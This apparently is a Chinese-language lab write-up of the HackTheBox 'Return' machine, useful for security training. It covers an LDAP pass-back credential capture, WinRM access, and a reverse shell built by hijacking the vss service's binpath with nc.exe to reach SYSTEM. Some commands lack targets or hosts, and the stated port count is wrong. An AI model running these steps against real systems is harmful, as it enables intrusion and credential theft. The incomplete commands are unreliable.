R3fr4kt/Return-TJNULL-OSCP-

GitHub: R3fr4kt/Return-TJNULL-OSCP-

一份 HackTheBox Return 靶机的渗透测试实战指南,详细演示了 LDAP Pass-Back 攻击获取初始访问和 Windows 服务路径劫持提权的完整攻击链。

Stars: 0 | Forks: 0

# Return-TJNULL-OSCP- ## 执行摘要 - **目标操作系统:** Windows - **难度:** 简单 - **域名:** `return.local` - **核心概念:** Active Directory 基础设施、Web 到 LDAP 中继(Pass-Back)、WinRM 远程管理、服务二进制文件路径劫持。 ## 1. 枚举与信息收集 ### 端口扫描 (Nmap) 初始的基础设施评估首先通过高速 TCP 端口发现扫描覆盖了全部 65,355 个端口,以快速识别可用的入口点: ``` nmap -Pn -n -p- -sS --min-rate 5000 --open -oG allPorts ``` 随后针对已发现的端口执行了二次定向扫描,以探测服务版本并执行默认的 NSE 脚本审计: ``` nmap -p53,88,135,139,389,445,464,636,3268,3269,5985 -sCV -oN targeted ``` ### 本地环境设置 为了确保与潜在的 Active Directory 服务正确路由和交互,该域名被添加到了本地的 `/etc/hosts` 解析文件中: ``` sudo nano /etc/hosts # 追加行: return.local ``` ## 2. 初始访问与立足点 ### Web 界面与 LDAP 向量调查 1. 访问 `http://return.local` 会显示一个基于 Web 的打印机设置管理面板。 2. 在 **Settings** 子菜单下,暴露了一个内部打印机配置应用程序,其中显示了用于底层 LDAP 服务器连接测试的设置字段。 ### 利用:LDAP Pass-Back 攻击 由于该 Web 应用程序允许对 LDAP 服务端点地址进行自定义修改,因此可以执行 **Pass-Back 攻击**,强制内部服务账户向一个由攻击者控制的恶意监听器进行身份验证。 在攻击者的基础设施上,于默认 LDAP 端口 (`389`) 设置一个标准的网络监听器: ``` nc -lvnp 389 ``` 1. 在 Web 管理控制台中,将 **Server Address** 参数更新为攻击者机器的 IP 地址。 2. 提交配置修改。 3. 设备会自动触发身份验证握手,将服务账户的明文凭据传输给监听器。 ### 凭据验证 使用 `crackmapexec` 安全工具套件,通过 SMB 协议对拦截到的明文凭据(`svc-printer` : ``)进行了验证: ``` crackmapexec smb return.local -u 'svc-printer' -p '' ``` ### 远程 Shell 管理 (WinRM) 在成功完成验证并注意到端口 `5985` (WinRM) 处于开放状态后,通过 `evil-winrm` 建立了一个功能丰富且交互式的远程终端会话: ``` evil-winrm -i return.local -u 'svc-printer' -p '' ``` ### 获取 User Flag ``` cd ../Desktop type user.txt ``` ## 3. 权限提升 ### 本地环境枚举 对当前用户账户的组成员关系和权限进行了审计: ``` net user svc-printer ``` 输出结果显示,`svc-printer` 服务账户是自定义操作员组(例如 `Server Operators`)的成员,这赋予了它通过 `sc.exe` 操作和重新配置系统服务的权限。 ### 利用:服务二进制文件路径劫持 (`vss`) 由于具有广泛的权限设置,Volume Shadow Copy 服务 (`vss`) 被确定可作为路径重新配置的可行目标。 *前置条件:确保已将 Windows 兼容的 Netcat 二进制文件 (`nc.exe`) 上传到目标机器上(例如 `C:\Users\svc-printer\Desktop\` 目录内)。* 1. 重新配置 `vss` 服务的二进制文件路径 (`binpath`) 属性,以执行一个持续回调至监听器的 reverse shell payload: ``` sc.exe config vss binpath= "C:\Users\svc-printer\Desktop\nc.exe 4444 -e cmd.exe" ``` 2. 在攻击者系统上建立一个活跃的命令与控制 (C2) 监听器,以捕获特权 payload 的执行: ``` nc -lvnp 4444 ``` 3. 通过重新启动或手动启动服务状态,强制执行新修改的路径二进制文件: ``` sc.exe start vss ``` ## 4. 管理员权限巩固 在端口 `4444` 上拦截到传入的回调连接后,执行了系统身份验证: ``` whoami # 预期输出: nt authority\system ``` ### 获取 Root Flag ``` cd \ cd Users\Administrator\Desktop type root.txt ``` ``` ```
标签:Active Directory, Checkov, CTI, HackTheBox, PE 加载器, Plaso, Terraform 安全, Writeup, 协议分析, 权限提升